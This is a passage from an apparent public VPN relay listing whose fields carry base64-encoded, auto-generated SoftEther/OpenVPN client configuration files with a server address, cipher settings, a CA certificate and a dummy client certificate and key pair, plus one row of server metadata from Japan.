dGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn644907313,126.93.48.29,738545,8,36500184,Japan,JP,8,95540195,40144,3657125584906,2weeks,DESKTOP-UU09F7F's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjYuOTMuNDguMjkgMTQ1OA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOC